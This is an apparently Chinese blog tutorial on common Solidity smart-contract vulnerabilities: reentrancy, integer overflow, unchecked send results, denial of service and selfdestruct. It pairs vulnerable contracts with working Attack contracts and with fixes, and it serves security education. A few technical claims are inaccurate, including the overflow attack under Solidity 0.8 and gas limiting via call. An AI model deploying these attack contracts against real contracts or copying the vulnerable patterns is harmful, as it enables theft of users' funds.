智能合约 -- 常规漏洞分析 + 实例

迷南。 2023-10-14 18:16 10阅读 0赞

### 1.重入攻击 ###

#### 漏洞分析 ####

攻击者利用合约漏洞，通过***fallback()或者receive()***函数进行**函数递归**进行持续取钱。

刚才试了一下可以递归10次，貌似就结束了(version: 0.8.20)。

直接看代码:

*  银行合约：有存钱、取钱、查看账户余额等函数。
 *  攻击合约: 攻击、以及合约接受以太币就触发的receive()函数。

分析 ： 攻击者通过Attack 合约调用attack()接口,先存钱，后进行取钱;那么Bank会向该合约发送以太币,进而触发Attack合约的 receive()函数,然后又进行取钱操作，由于形成递归操作，Bank合约的withdraw()接口的，账户置0操作无法执行，从而形成无限递归。

// SPDX-License-Identifier: MIT
    pragma solidity >= 0.8.0 <= 0.9.0;
    
    contract Bank {
        mapping (address => uint) public balances; // 账户 => 余额
    
        // 存钱函数
        function desposit() public payable { 
            require(msg.value >0, "save money cannot be zero");
            balances[msg.sender] += msg.value;
        }
    
        // 取钱函数
        function withdraw() public{
            require(balances[msg.sender] >0,"balance is not exists");
            (bool success,) =   msg.sender.call{value:balances[msg.sender]}(""); // 递归下面的操作必须等待递归之后才能执行
             balances[msg.sender] = 0; // 置0 操作
        }
    
        // 查看账户余额
        function getBalance() public view  returns(uint){
            return balances[msg.sender];
        }
    
    }
    
    contract Attack {
    
        Bank public bank;
    
        constructor( address _bankAddress){
            bank = Bank(_bankAddress);
        }
    
        // 攻击函数
        function attack() public payable {
            bank.desposit{value:msg.value}();
            bank.withdraw();
        }
    
    
        receive() external payable {
            if(address(bank).balance >0){ //如果银行合约还有钱持续调用
                bank.withdraw();
            }
        }
    }

#### 漏洞解决 ####

**1. 采用更为安全的转账函数**

**原理**：函数的执行会消耗gas,如果*可支付gas*不满足 *递归消耗的gas*，从而报错进行合约状态回滚。

> **<address>.transfer()：**发送失败则回滚交易状态，只传递 2300 Gas 供调用，防止重入。  
> **<address>.send()：**发送失败则返回 false，只传递 2300 Gas 供调用，防止重入。  
> **<address>.call()：**发送失败返回 false，会传递所有可用 Gas 给予外部合约 fallback() 调用；可通过 \{ value: money \} 限制 Gas，不能有效防止重入。
> 
> payable 标识符
> 
> 在函数上添加 payable 标识，即可接受 Ether，并将其存储在当前合约中。

**2.互斥锁**

**原理:** 第一去取钱,状态变量修改为true，从而将函数锁住，必须等这次函数执行完毕，才能重新对函数进行调用。

![93421806310143f4b95eb505fda610f5.png][]

**3. 先将账户余额置0,再转账**

**原理**: 先账户置0，就算转账触发递归，再次取钱 ,由于账户余额小于0，会直接抛异常。(当攻击这利用Attack合约攻击已修复好Bank合约，按道理能触发递归，接着会报 "balance is not exists",但是他却能正常执行，但是重入没触发，钱存到Bank里，没有拿回来。)

![af9e1d3903004f7fa4df1ace87a3f223.png][]

### 2.整形溢出 ###

#### 漏洞分析 ####

算术溢出（arithmetic overflow）或简称为溢出（overflow）是指在

计算机领域里所发生的。运行单项数值计算时，当计算产生出来的

结果**大于**寄存器或存储器所能存储或表示的能力限制的情况就称为

算术上溢。反之，称为算术下溢。

我的理解：输入的数字超过计编程语言的数据类型设置的最大范围，表现出的数字跟预想数字不一致。

**举例**： 一个数据类型A取值范围是 0- 5 ,那么3 - 3 = ? 对于数据类型A的结果是多少？

*我们可以把 0 - 5看成一个圈*, A的最小值是0, 那么 -1 就是5, 那么-3 就是3;

3 + 3 = 6，由于A最大值5，溢出之后, 6 -> 0。

看代码：

// SPDX-License-Identifier: MIT
    pragma solidity >= 0.8.0 <= 0.9.0;
    
    contract TimeLock {
        mapping(address => uint) public balances;
        mapping(address => uint) public lockTime;
    
        // 存钱并且冻结账户一周
        function deposit() public  payable {
            balances[msg.sender] += msg.value;
            lockTime[msg.sender] = block.timestamp + 1 weeks;
        }
    
        // 增加冻结时间
        function addLcokTime(uint _time) public {
            lockTime[msg.sender] += _time;
        }
    
       // 取钱
        function withdraw() public {
            require(balances[msg.sender] > 0, "balance cannot be zrro");
            require(block.timestamp > lockTime[msg.sender] , " account is still frozen");
            uint _value = balances[msg.sender];
            balances[msg.sender] = 0;
            (bool success,) = msg.sender.call{value:_value}("");
            
        }
    
    }
    
    contract Attack{
          receive() external payable {}
    
          TimeLock public timelock;
    
          constructor(address _timelock) {
              timelock = TimeLock(_timelock);
          }
    
          function attack() public payable {
              timelock.deposit();
              timelock.addLcokTime(
                  type(uint).max + 1 - timelock.lockTime(address(this))
    // 传入uint 最大 + 1 ，溢出变成0, - timelock.lockTime(address(this)) 与拿到map里的冻结时间,与原先冻结时间，相加溢出也变成0.  6 -6 =0 
              );
               timelock.withdraw();
          }
    }

#### 漏洞解决 ####

其实引入SafaMath库.参考这篇博客，其实原理很简单。

[solidity合约开发-SafeMath\_北纬32.6的博客-CSDN博客][solidity_-SafeMath_32.6_-CSDN]

我们把TimeLock 合约修改如下:

我们通过将2个值相加的结果，与 2个值进行比较,如果a + b发生溢出,那么 c 会小于a 或者b，从而抛出异常无法执行。

![a59f82c9885947b98928fb10e62a7f97.png][]

contract TimnLock {
        ......
        function sum(uint a, uint b) public pure returns(uint){
            uint c = a + b;
            require(c >=a && c >= b, "overflow is trigger!");
            return c;
        }
    ......
    
    }

### 3. 未检查返回值 ###

#### 漏洞分析 ####

在soldity中,像send、call、*callcode*、*delegatecall*和*staticcal*这些低级函数，会产生返回值作为执行结果,如果我们没有对其返回值进行判断很容易发生逻辑错误。

看下面代码：

我们Lotton合约中sendTowinner()并没有对send()的结果进行处理。

假如，我们没有赞助商通过deposit()赞助奖金,那么 send()函数会因为当前合约balance为0，没有足够eth转账,从而返回false。接着 payedOut 变为true。getWinAmount()进而能正常调用。但这并不是我们希望看到的。

我们希望send()成功，接着 payedOut 变为true,最后公开金额数量。

contract Lotto{
        bool public payedOut = false;
        address public winner; // 获胜者
        uint private  winAmount  = 10000; // 获胜金额
       
    
        // 2.向获胜者发送奖金
       function sendTowinner(address _addr) public {
           require(!payedOut);
           winner = _addr;
           payable(winner).send(winAmount);
           payedOut = true; 
       }
    
        // 3. 向外进公开获胜者的金额数量
        function getWinAmount() public  view returns(uint){
            require(payedOut);
            return winAmount;
        }
    
       // 1.赞助商赞助奖金
       function desposit() public payable {
           winAmount = msg.value;
       }
    
      
    }

#### 漏洞解决 ####

// 向获胜者发送奖金
       function sendTowinner(address _addr) public {
           require(!payedOut);
           winner = _addr;
           bool success =  payable(winner).send(winAmount); 
            // payable(winner).transfer(winAmount); ,失败直接会报错
           require(success,"send falied");
           payedOut = true; 
       }

### 4.拒绝服务 ###

我的理解:在soldiity里，拒绝服务漏洞可以简单理解为,因为合约内部或者外部账户操作，致使合约中的函数能大量消耗gas 和Ether或者不能被访问，从而使该函数无法正常执行。

举个例子：超市有三个收银点，正常来说人们排队在收银点进行扫码支 付，但是有一天网络出现了问题，所有收银点的顾客扫码支付都失败了， 而后面的人也不能进行支付买单，就导致了收银点的堵塞，超市不能正常 运营。又或者，在支付时有顾客故意闹事，使得后面的顾客也不能去支 付，这同样也会导致超市不能运营。我们可以看到有来自内部的，还有来 自外部的，都是可能会造成拒绝服务攻击。

##### 1.在外部操控映射或者数组循环 #####

这种情况一般是由于映射或数组循环在外部能被其他人操控,由于映射或数组没有长度没有被限制，从而导致大量消耗Ether和Gas。

看代码：

// SPDX-License-Identifier: MIT
    pragma solidity >= 0.8.0 <= 0.9.0;
    /*
    *@tile: 分发代币
    */
    contract DistributeTokens{
        uint public amount;
        address public owner;
        address[] public investors; // 投资者数组
        uint[] public investorTokens; // 每个投资者的token
        uint currentIndex; 
        event Transfer(address _from, uint _amount); // 转让代币触发的事件
        constructor(){
            owner = msg.sender;
        }
        
        // 投资者调用,记录每个投资者的地址，和应该分发的代币
        function invest() public payable {
            investors.push(msg.sender);
            investorTokens.push(msg.value *5);
        }
    
       // 首次代币分发
        function distribute() public {
            require(msg.sender == owner);
            for (uint i =0;i < investors.length && gasleft() > 30000; i++) {
               transferToken(investors[i],investorTokens[i]);
               currentIndex = i;
            }
        }
    
    
        function transferToken(address _from,uint _amount) public {
             // 在这里执行代币转移操作，将代币从合约地址转移到投资者地址
            amount += _amount; // 记录总代币
            emit Transfer(_from,_amount);
        }
    
    }

在上面的代码片段中我们可以看到，distribute() 函数中会去遍历投资者数 组，但是合约的循环遍历数组是可以被外部的人进行人为扩充，如果有攻 击者要攻击这个合约，那么他可以创建多个账户加入投资者的数组，让 investors 的数据变得很大，大到让循环遍历数组所需的 gas 数量超过区块 gas 数量的上限，此时 distribute() 函数将无法正常操作，这样就会造成该 合约的拒绝服务攻击。

解决：如果合约必须通过一个变长数组进行转账,最好估计区块有多少笔交易，从而限制数组长度,另外必须追踪到能够进行到哪以便当操作失败开始从哪里恢复。

上面代码修改:

通过currentIndex 记录遍历数组当前索引，以便出异常查询。在循环中,加入gasleft()比较，从而限制gas的使用。

![d82ffb8468324c848f7db97bc7fcd240.png][]

##### 2.所有者操作 #####

在代币合约中，通常有一个owner账户,也就是合约所有者账户，其拥有开启和暂停交易的权限。如果owner地址缺失，导致非主观的拒绝服务攻击。

![598b00b717d142d2ba791be3bf8accc7.png][]

在 *ICO* 结束后，如果特权用户丢失，其私钥可能会变为非活动状

态，此时，无法调用 *finalize()* 函数开启交易，那么用户就一直不能发送代

币，合约也就不能进行正常操作了。

解决 : 不能特权用户权限作为唯一判断条件，从而导致整个合约瘫痪。

![82f318c71a8746318aea4d52d705bae2.png][]

### 5. 自毁函数 ###

#### 漏洞分析 ####

参考资料:

[智能合约安全审计入门篇 —— 自毁函数 | 登链社区 | 区块链技术社区 (learnblockchain.cn)][_ _ _ _ _ _ _learnblockchain.cn]

首先,这个在0.8.21版本自毁函数不支持用了。

看下面代码,我们有一个存钱函数，每次只能存一个Ether，如果合约余额大于7个Ether就终止,合约balance == 7个Ether就选出获胜者,并且能赢得这个7个Ether。

// SPDX-License-Identifier: MIT
    pragma solidity ^0.8.10;
    
    contract EtherGame {
        uint public targetAmount = 7 ether;
        address public winner;
    // 存钱
        function deposit() public payable {
            require(msg.value == 1 ether, "You can only send 1 Ether");
    
            uint balance = address(this).balance;
            require(balance <= targetAmount, "Game is over");
    
            if (balance == targetAmount) {
                winner = msg.sender;
            }
        }
    
    // 获胜者取钱
        function claimReward() public {
            require(msg.sender == winner, "Not winner");
    
            (bool sent, ) = msg.sender.call{value: address(this).balance}("");
            require(sent, "Failed to send Ether");
        }
    }

然后我们，再看漏洞代码，将attack()函数将合约自毁后，将剩余余额发送给EtherGame合约,

假如，我们上面合约余额正好 == 6eth时,攻击者通过自毁向game合约发送1eth 或大于1eth，那么game合约由于合约逻辑将无法选出获胜者,那么正常用户通过合约存进的以太币将全部打水漂。。

contract Attack {
        EtherGame ethergame;
    
        constructor(address _ethergame) {
            ethergame = EtherGame(_ethergame);
        }
    
        function attack() public payable {
            address payable adr = payable(address(ethergame));
            selfdestruct(adr);
        }
    }

#### 漏洞解决 ####

不宜使用合约真实balance 来作为逻辑判断条件。

下方，我们定义合约余额变量来映射真实合约余额，就算攻击者再次利用自毁函数进行攻击,但由于合约余额变量并未改变将攻击失败。

![eaa7e4c1bfe14754a89024032598ad03.png][]

[93421806310143f4b95eb505fda610f5.png]: https://img-blog.csdnimg.cn/93421806310143f4b95eb505fda610f5.png
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[solidity_-SafeMath_32.6_-CSDN]: https://blog.csdn.net/weixin_39842528/article/details/109586573
[a59f82c9885947b98928fb10e62a7f97.png]: https://img-blog.csdnimg.cn/a59f82c9885947b98928fb10e62a7f97.png
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[_ _ _ _ _ _ _learnblockchain.cn]: https://learnblockchain.cn/article/3331
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